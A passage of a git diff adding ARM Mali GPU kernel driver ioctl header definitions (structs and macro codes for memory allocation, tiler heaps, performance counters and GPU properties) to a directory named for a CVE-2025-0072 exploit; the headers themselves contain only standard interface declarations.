Output parameters + * @out.gpu_heap_va: GPU VA (virtual address) of Heap context that was set up + * for the heap. + * @out.first_chunk_va: GPU VA of the first chunk allocated for the heap, + * actually points to the header of heap chunk and not to + * the low address of free memory in the chunk. + */ +union kbase_ioctl_cs_tiler_heap_init_1_13 { + struct { + __u32 chunk_size; + __u32 initial_chunks; + __u32 max_chunks; + __u16 target_in_flight; + __u8 group_id; + __u8 padding; + } in; + struct { + __u64 gpu_heap_va; + __u64 first_chunk_va; + } out; +}; + +#define KBASE_IOCTL_CS_TILER_HEAP_INIT_1_13 \ + _IOWR(KBASE_IOCTL_TYPE, 48, union kbase_ioctl_cs_tiler_heap_init_1_13) + +/** + * struct kbase_ioctl_cs_tiler_heap_term - Terminate a chunked tiler heap + * instance + * + * @gpu_heap_va: GPU VA of Heap context that was set up for the heap. + */ +struct kbase_ioctl_cs_tiler_heap_term { + __u64 gpu_heap_va; +}; + +#define KBASE_IOCTL_CS_TILER_HEAP_TERM \ + _IOW(KBASE_IOCTL_TYPE, 49, struct kbase_ioctl_cs_tiler_heap_term) + +/** + * union kbase_ioctl_cs_get_glb_iface - Request the global control block + * of CSF interface capabilities + * + * @in: Input parameters + * @in.max_group_num: The maximum number of groups to be read. Can be 0, in + * which case groups_ptr is unused. + * @in.max_total_stream_num: The maximum number of CSs to be read. Can be 0, in + * which case streams_ptr is unused. + * @in.groups_ptr: Pointer where to store all the group data (sequentially). + * @in.streams_ptr: Pointer where to store all the CS data (sequentially). + * @out: Output parameters + * @out.glb_version: Global interface version. + * @out.features: Bit mask of features (e.g. whether certain types of job + * can be suspended). + * @out.group_num: Number of CSGs supported. + * @out.prfcnt_size: Size of CSF performance counters, in bytes. Bits 31:16 + * hold the size of firmware performance counter data + * and 15:0 hold the size of hardware performance counter + * data. + * @out.total_stream_num: Total number of CSs, summed across all groups. + * @out.instr_features: Instrumentation features. Bits 7:4 hold the maximum + * size of events. Bits 3:0 hold the offset update rate. + * (csf >= 1.1.0) + * + */ +union kbase_ioctl_cs_get_glb_iface { + struct { + __u32 max_group_num; + __u32 max_total_stream_num; + __u64 groups_ptr; + __u64 streams_ptr; + } in; + struct { + __u32 glb_version; + __u32 features; + __u32 group_num; + __u32 prfcnt_size; + __u32 total_stream_num; + __u32 instr_features; + } out; +}; + +#define KBASE_IOCTL_CS_GET_GLB_IFACE \ + _IOWR(KBASE_IOCTL_TYPE, 51, union kbase_ioctl_cs_get_glb_iface) + +struct kbase_ioctl_cs_cpu_queue_info { + __u64 buffer; + __u64 size; +}; + +#define KBASE_IOCTL_VERSION_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check) + +#define KBASE_IOCTL_CS_CPU_QUEUE_DUMP \ + _IOW(KBASE_IOCTL_TYPE, 53, struct kbase_ioctl_cs_cpu_queue_info) + +/** + * union kbase_ioctl_mem_alloc_ex - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @in.fixed_address: The GPU virtual address requested for the allocation, + * if the allocation is using the BASE_MEM_FIXED flag. + * @in.extra: Space for extra parameters that may be added in the future. + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc_ex { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + __u64 fixed_address; + __u64 extra[3]; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC_EX _IOWR(KBASE_IOCTL_TYPE, 59, union kbase_ioctl_mem_alloc_ex) + +/** + * union kbase_ioctl_read_user_page - Read a register of USER page + * + * @in: Input parameters. + * @in.offset: Register offset in USER page. + * @in.padding: Padding to round up to a multiple of 8 bytes, must be zero. + * @out: Output parameters. + * @out.val_lo: Value of 32bit register or the 1st half of 64bit register to be read. + * @out.val_hi: Value of the 2nd half of 64bit register to be read. + */ +union kbase_ioctl_read_user_page { + struct { + __u32 offset; + __u32 padding; + } in; + struct { + __u32 val_lo; + __u32 val_hi; + } out; +}; + +#define KBASE_IOCTL_READ_USER_PAGE _IOWR(KBASE_IOCTL_TYPE, 60, union kbase_ioctl_read_user_page) + +#endif /* _UAPI_KBASE_CSF_IOCTL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_ioctl.h b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_ioctl.h new file mode 100644 index 0000000..9eaa83c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE-2025-0072/mali_kbase_ioctl.h @@ -0,0 +1,894 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2017-2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_IOCTL_H_ +#define _UAPI_KBASE_IOCTL_H_ + +#ifdef __cpluscplus +extern "C" { +#endif + +#include +#include + +#include "mali_kbase_csf_ioctl.h" + +#define KBASE_IOCTL_TYPE 0x80 + +/** + * struct kbase_ioctl_set_flags - Set kernel context creation flags + * + * @create_flags: Flags - see base_context_create_flags + */ +struct kbase_ioctl_set_flags { + __u32 create_flags; +}; + +#define KBASE_IOCTL_SET_FLAGS \ + _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) + +/** + * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel + * + * @buffer: Pointer to the buffer to store properties into + * @size: Size of the buffer + * @flags: Flags - must be zero for now + * + * The ioctl will return the number of bytes stored into @buffer or an error + * on failure (e.g. @size is too small). If @size is specified as 0 then no + * data will be written but the return value will be the number of bytes needed + * for all the properties. + * + * @flags may be used in the future to request a different format for the + * buffer. With @flags == 0 the following format is used. + * + * The buffer will be filled with pairs of values, a __u32 key identifying the + * property followed by the value. The size of the value is identified using + * the bottom bits of the key. The value then immediately followed the key and + * is tightly packed (there is no padding). All keys and values are + * little-endian. + * + * 00 = __u8 + * 01 = __u16 + * 10 = __u32 + * 11 = __u64 + */ +struct kbase_ioctl_get_gpuprops { + __u64 buffer; + __u32 size; + __u32 flags; +}; + +#define KBASE_IOCTL_GET_GPUPROPS \ + _IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops) + +/** + * union kbase_ioctl_mem_alloc - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC \ + _IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc) + +/** + * struct kbase_ioctl_mem_query - Query properties of a GPU memory region + * @in: Input parameters + * @in.gpu_addr: A GPU address contained within the region + * @in.query: The type of query + * @out: Output parameters + * @out.value: The result of the query + * + * Use a %KBASE_MEM_QUERY_xxx flag as input for @query. + */ +union kbase_ioctl_mem_query { + struct { + __u64 gpu_addr; + __u64 query; + } in; + struct { + __u64 value; + } out; +}; + +#define KBASE_IOCTL_MEM_QUERY \ + _IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query) + +#define KBASE_MEM_QUERY_COMMIT_SIZE ((__u64)1) +#define KBASE_MEM_QUERY_VA_SIZE ((__u64)2) +#define KBASE_MEM_QUERY_FLAGS ((__u64)3) + +/** + * struct kbase_ioctl_mem_free - Free a memory region + * @gpu_addr: Handle to the region to free + */ +struct kbase_ioctl_mem_free { + __u64 gpu_addr; +}; + +#define KBASE_IOCTL_MEM_FREE \ + _IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free) + +/** + * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader + * @buffer_count: requested number of dumping buffers + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + * + * A fd is returned from the ioctl if successful, or a negative value on error + */ +struct kbase_ioctl_hwcnt_reader_setup { + __u32 buffer_count; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_READER_SETUP \ + _IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup) + +/** + * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to. + * @data: Counter samples for the dummy model. + * @size: Size of the counter sample data. + * @padding: Padding. + */ +struct kbase_ioctl_hwcnt_values { + __u64 data; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_HWCNT_SET \ + _IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values) + +/** + * struct kbase_ioctl_disjoint_query - Query the disjoint counter + * @counter: A counter of disjoint events in the kernel + */ +struct kbase_ioctl_disjoint_query { + __u32 counter; +}; + +#define KBASE_IOCTL_DISJOINT_QUERY \ + _IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query) + +/** + * struct kbase_ioctl_get_ddk_version - Query the kernel version + * @version_buffer: Buffer to receive the kernel version string + * @size: Size of the buffer + * @padding: Padding + * + * The ioctl will return the number of bytes written into version_buffer + * (which includes a NULL byte) or a negative error code + * + * The ioctl request code has to be _IOW because the data in ioctl struct is + * being copied to the kernel, even though the kernel then writes out the + * version info to the buffer specified in the ioctl. + */ +struct kbase_ioctl_get_ddk_version { + __u64 version_buffer; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_GET_DDK_VERSION \ + _IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version) + +/** + * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 10.2--11.4) + * @va_pages: Number of VA pages to reserve for JIT + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_10_2 { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2) + +/** + * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 11.5--11.19) + * @va_pages: Number of VA pages to reserve for JIT + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_11_5 { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5) + +/** + * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory + * allocator + * @va_pages: Number of GPU virtual address pages to reserve for just-in-time + * memory allocations + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * @phys_pages: Maximum number of physical pages to allocate just-in-time + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + */ +struct kbase_ioctl_mem_jit_init { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; + __u64 phys_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init) + +/** + * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory + * + * @handle: GPU memory handle (GPU VA) + * @user_addr: The address where it is mapped in user space + * @size: The number of bytes to synchronise + * @type: The direction to synchronise: 0 is sync to memory (clean), + * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants. + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_mem_sync { + __u64 handle; + __u64 user_addr; + __u64 size; + __u8 type; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_MEM_SYNC \ + _IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync) + +/** + * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer + * + * @in: Input parameters + * @in.gpu_addr: The GPU address of the memory region + * @in.cpu_addr: The CPU address to locate + * @in.size: A size in bytes to validate is contained within the region + * @out: Output parameters + * @out.offset: The offset from the start of the memory region to @cpu_addr + */ +union kbase_ioctl_mem_find_cpu_offset { + struct { + __u64 gpu_addr; + __u64 cpu_addr; + __u64 size; + } in; + struct { + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset) + +/** + * struct kbase_ioctl_get_context_id - Get the kernel context ID + * + * @id: The kernel context ID + */ +struct kbase_ioctl_get_context_id { + __u32 id; +}; + +#define KBASE_IOCTL_GET_CONTEXT_ID \ + _IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id) + +/** + * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd + * + * @flags: Flags + * + * The ioctl returns a file descriptor when successful + */ +struct kbase_ioctl_tlstream_acquire { + __u32 flags; +}; + +#define KBASE_IOCTL_TLSTREAM_ACQUIRE \ + _IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire) + +#define KBASE_IOCTL_TLSTREAM_FLUSH \ + _IO(KBASE_IOCTL_TYPE, 19) + +/** + * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region + * + * @gpu_addr: The memory region to modify + * @pages: The number of physical pages that should be present + * + * The ioctl may return on the following error codes or 0 for success: + * -ENOMEM: Out of memory + * -EINVAL: Invalid arguments + */ +struct kbase_ioctl_mem_commit { + __u64 gpu_addr; + __u64 pages; +}; + +#define KBASE_IOCTL_MEM_COMMIT \ + _IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit) + +/** + * union kbase_ioctl_mem_alias - Create an alias of memory regions + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.stride: Bytes between start of each memory region + * @in.nents: The number of regions to pack together into the alias + * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_alias { + struct { + __u64 flags; + __u64 stride; + __u64 nents; + __u64 aliasing_info; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_ALIAS \ + _IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias) + +/** + * union kbase_ioctl_mem_import - Import memory for use by the GPU + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.phandle: Handle to the external memory + * @in.type: Type of external memory, see base_mem_import_type + * @in.padding: Amount of extra VA pages to append to the imported buffer + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_import { + struct { + __u64 flags; + __u64 phandle; + __u32 type; + __u32 padding; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_IMPORT \ + _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) + +/** + * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region + * @gpu_va: The GPU region to modify + * @flags: The new flags to set + * @mask: Mask of the flags to modify + */ +struct kbase_ioctl_mem_flags_change { + __u64 gpu_va; + __u64 flags; + __u64 mask; +}; + +#define KBASE_IOCTL_MEM_FLAGS_CHANGE \ + _IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change) + +/** + * struct kbase_ioctl_stream_create - Create a synchronisation stream + * @name: A name to identify this stream. Must be NULL-terminated. + * + * Note that this is also called a "timeline", but is named stream to avoid + * confusion with other uses of the word. + * + * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes. + * + * The ioctl returns a file descriptor. + */ +struct kbase_ioctl_stream_create { + char name[32]; +}; + +#define KBASE_IOCTL_STREAM_CREATE \ + _IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create) + +/** + * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence + * @fd: The file descriptor to validate + */ +struct kbase_ioctl_fence_validate { + int fd; +}; + +#define KBASE_IOCTL_FENCE_VALIDATE \ + _IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate) + +/** + * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel + * @buffer: Pointer to the information + * @len: Length + * @padding: Padding + * + * The data provided is accessible through a debugfs file + */ +struct kbase_ioctl_mem_profile_add { + __u64 buffer; + __u32 len; + __u32 padding; +}; + +#define KBASE_IOCTL_MEM_PROFILE_ADD \ + _IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add) + +/** + * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to map + */ +struct kbase_ioctl_sticky_resource_map { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_MAP \ + _IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map) + +/** + * struct kbase_ioctl_sticky_resource_unmap - Unmap a resource mapped which was + * previously permanently mapped + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to unmap + */ +struct kbase_ioctl_sticky_resource_unmap { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \ + _IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap) + +/** + * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of + * the GPU memory region for + * the given gpu address and + * the offset of that address + * into the region + * @in: Input parameters + * @in.gpu_addr: GPU virtual address + * @in.size: Size in bytes within the region + * @out: Output parameters + * @out.start: Address of the beginning of the memory region enclosing @gpu_addr + * for the length of @offset bytes + * @out.offset: The offset from the start of the memory region to @gpu_addr + */ +union kbase_ioctl_mem_find_gpu_start_and_offset { + struct { + __u64 gpu_addr; + __u64 size; + } in; + struct { + __u64 start; + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset) + +#define KBASE_IOCTL_CINSTR_GWT_START \ + _IO(KBASE_IOCTL_TYPE, 33) + +#define KBASE_IOCTL_CINSTR_GWT_STOP \ + _IO(KBASE_IOCTL_TYPE, 34) + +/** + * union kbase_ioctl_cinstr_gwt_dump - Used to collect all GPU write fault + * addresses. + * @in: Input parameters + * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas. + * @in.size_buffer: Address of buffer to hold size of modified areas (in pages) + * @in.len: Number of addresses the buffers can hold. + * @in.padding: padding + * @out: Output parameters + * @out.no_of_addr_collected: Number of addresses collected into addr_buffer. + * @out.more_data_available: Status indicating if more addresses are available. + * @out.padding: padding + * + * This structure is used when performing a call to dump GPU write fault + * addresses. + */ +union kbase_ioctl_cinstr_gwt_dump { + struct { + __u64 addr_buffer; + __u64 size_buffer; + __u32 len; + __u32 padding; + + } in; + struct { + __u32 no_of_addr_collected; + __u8 more_data_available; + __u8 padding[27]; + } out; +}; + +#define KBASE_IOCTL_CINSTR_GWT_DUMP \ + _IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump) + +/** + * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone + * + * @va_pages: Number of VA pages to reserve for EXEC_VA + */ +struct kbase_ioctl_mem_exec_init { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_EXEC_INIT \ + _IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init) + +/** + * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of + * cpu/gpu time (counter values) + * @in: Input parameters + * @in.request_flags: Bit-flags indicating the requested types. + * @in.paddings: Unused, size alignment matching the out. + * @out: Output parameters + * @out.sec: Integer field of the monotonic time, unit in seconds. + * @out.nsec: Fractional sec of the monotonic time, in nano-seconds. + * @out.padding: Unused, for __u64 alignment + * @out.timestamp: System wide timestamp (counter) value. + * @out.cycle_counter: GPU cycle counter value. + */ +union kbase_ioctl_get_cpu_gpu_timeinfo { + struct { + __u32 request_flags; + __u32 paddings[7]; + } in; + struct { + __u64 sec; + __u32 nsec; + __u32 padding; + __u64 timestamp; + __u64 cycle_counter; + } out; +}; + +#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \ + _IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo) + +/** + * struct kbase_ioctl_context_priority_check - Check the max possible priority + * @priority: Input priority & output priority + */ + +struct kbase_ioctl_context_priority_check { + __u8 priority; +}; + +#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check) + +/** + * struct kbase_ioctl_set_limited_core_count - Set the limited core count. + * + * @max_core_count: Maximum core count + */ +struct kbase_ioctl_set_limited_core_count { + __u8 max_core_count; +}; + +#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \ + _IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count) + +/** + * struct kbase_ioctl_kinstr_prfcnt_enum_info - Enum Performance counter + * information + * @info_item_size: Performance counter item size in bytes. + * @info_item_count: Performance counter item count in the info_list_ptr. + * @info_list_ptr: Performance counter item list pointer which points to a + * list with info_item_count of items. + * + * On success: returns info_item_size and info_item_count if info_list_ptr is + * NULL, returns performance counter information if info_list_ptr is not NULL. + * On error: returns a negative error code. + */ +struct kbase_ioctl_kinstr_prfcnt_enum_info { + __u32 info_item_size; + __u32 info_item_count; + __u64 info_list_ptr; +}; + +#define KBASE_IOCTL_KINSTR_PRFCNT_ENUM_INFO \ + _IOWR(KBASE_IOCTL_TYPE, 56, struct kbase_ioctl_kinstr_prfcnt_enum_info) + +/** + * struct kbase_ioctl_kinstr_prfcnt_setup - Setup HWC dumper/reader + * @in: input parameters. + * @in.request_item_count: Number of requests in the requests array. + * @in.request_item_size: Size in bytes of each request in the requests array. + * @in.requests_ptr: Pointer to the requests array. + * @out: output parameters. + * @out.prfcnt_metadata_item_size: Size of each item in the metadata array for + * each sample. + * @out.prfcnt_mmap_size_bytes: Size in bytes that user-space should mmap + * for reading performance counter samples. + * + * A fd is returned from the ioctl if successful, or a negative value on error. + */ +union kbase_ioctl_kinstr_prfcnt_setup { + struct { + __u32 request_item_count; + __u32 request_item_size; + __u64 requests_ptr; + } in; + struct { + __u32 prfcnt_metadata_item_size; + __u32 prfcnt_mmap_size_bytes; + } out; +}; + +#define KBASE_IOCTL_KINSTR_PRFCNT_SETUP \ + _IOWR(KBASE_IOCTL_TYPE, 57, union kbase_ioctl_kinstr_prfcnt_setup) + +/*************** + * Pixel ioctls * + ***************/ + +/** + * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request + * + * @dur_usec: Duration for GPU to stay awake. + */ +struct kbase_ioctl_apc_request { + __u32 dur_usec; +}; + +#define KBASE_IOCTL_APC_REQUEST \ + _IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request) + +/** + * struct kbase_ioctl_buffer_liveness_update - Update the live ranges of buffers from previous frame + * + * @live_ranges_address: Array of live ranges + * @live_ranges_count: Number of elements in the live ranges buffer + * @buffer_va_address: Array of buffer base virtual addresses + * @buffer_sizes_address: Array of buffer sizes + * @buffer_count: Number of buffers + * @padding: Unused + */ +struct kbase_ioctl_buffer_liveness_update { + __u64 live_ranges_address; + __u64 live_ranges_count; + __u64 buffer_va_address; + __u64 buffer_sizes_address; + __u64 buffer_count; +}; + +#define KBASE_IOCTL_BUFFER_LIVENESS_UPDATE \ + _IOW(KBASE_IOCTL_TYPE, 67, struct kbase_ioctl_buffer_liveness_update) + +/*************** + * test ioctls * + ***************/ +#if MALI_UNIT_TEST +/* These ioctls are purely for test purposes and are not used in the production + * driver, they therefore may change without notice + */ + +#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1) + + +/** + * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes + * @bytes_collected: number of bytes read by user + * @bytes_generated: number of bytes generated by tracepoints + */ +struct kbase_ioctl_tlstream_stats { + __u32 bytes_collected; + __u32 bytes_generated; +}; + +#define KBASE_IOCTL_TLSTREAM_STATS \ + _IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats) + +#endif /* MALI_UNIT_TEST */ + +/* Customer extension range */ +#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2) + +/* If the integration needs extra ioctl add them there + * like this: + * + * struct my_ioctl_args { + * .... + * } + * + * #define KBASE_IOCTL_MY_IOCTL \ + * _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args) + */ + + +/********************************** + * Definitions for GPU properties * + **********************************/ +#define KBASE_GPUPROP_VALUE_SIZE_U8 (0x0) +#define KBASE_GPUPROP_VALUE_SIZE_U16 (0x1) +#define KBASE_GPUPROP_VALUE_SIZE_U32 (0x2) +#define KBASE_GPUPROP_VALUE_SIZE_U64 (0x3) + +#define KBASE_GPUPROP_PRODUCT_ID 1 +#define KBASE_GPUPROP_VERSION_STATUS 2 +#define KBASE_GPUPROP_MINOR_REVISION 3 +#define KBASE_GPUPROP_MAJOR_REVISION 4 +/* 5 previously used for GPU speed */ +#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX 6 +/* 7 previously used for minimum GPU speed */ +#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE 8 +#define KBASE_GPUPROP_TEXTURE_FEATURES_0 9 +#define KBASE_GPUPROP_TEXTURE_FEATURES_1 10 +#define KBASE_GPUPROP_TEXTURE_FEATURES_2 11 +#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE 12 + +#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE 13 +#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE 14 +#define KBASE_GPUPROP_L2_NUM_L2_SLICES 15 + +#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES 16 +#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS 17 + +#define KBASE_GPUPROP_MAX_THREADS 18 +#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE 19 +#define KBASE_GPUPROP_MAX_BARRIER_SIZE 20 +#define KBASE_GPUPROP_MAX_REGISTERS 21 +#define KBASE_GPUPROP_MAX_TASK_QUEUE 22 +#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT 23 +#define KBASE_GPUPROP_IMPL_TECH 24 + +#define KBASE_GPUPROP_RAW_SHADER_PRESENT 25 +#define KBASE_GPUPROP_RAW_TILER_PRESENT 26 +#define KBASE_GPUPROP_RAW_L2_PRESENT 27 +#define KBASE_GPUPROP_RAW_STACK_PRESENT 28 +#define KBASE_GPUPROP_RAW_L2_FEATURES 29 +#define KBASE_GPUPROP_RAW_CORE_FEATURES 30 +#define KBASE_GPUPROP_RAW_MEM_FEATURES 31 +#define KBASE_GPUPROP_RAW_MMU_FEATURES 32 +#define KBASE_GPUPROP_RAW_AS_PRESENT 33 +#define KBASE_GPUPROP_RAW_JS_PRESENT 34 +#define KBASE_GPUPROP_RAW_JS_FEATURES_0 35 +#define KBASE_GPUPROP_RAW_JS_FEATURES_1 36 +#define KBASE_GPUPROP_RAW_JS_FEATURES_2 37 +#define KBASE_GPUPROP_RAW_JS_FEATURES_3 38 +#define KBASE_GPUPROP_RAW_JS_FEATURES_4 39 +#define KBASE_GPUPROP_RAW_JS_FEATURES_5 40 +#define KBASE_GPUPROP_RAW_JS_FEATURES_6 41 +#define KBASE_GPUPROP_RAW_JS_FEATURES_7 42 +#define KBASE_GPUPROP_RAW_JS_FEATURES_8 43 +#define KBASE_GPUPROP_RAW_JS_FEATURES_9 44 +#define KBASE_GPUPROP_RAW_JS_FEATURES_10 45 +#define 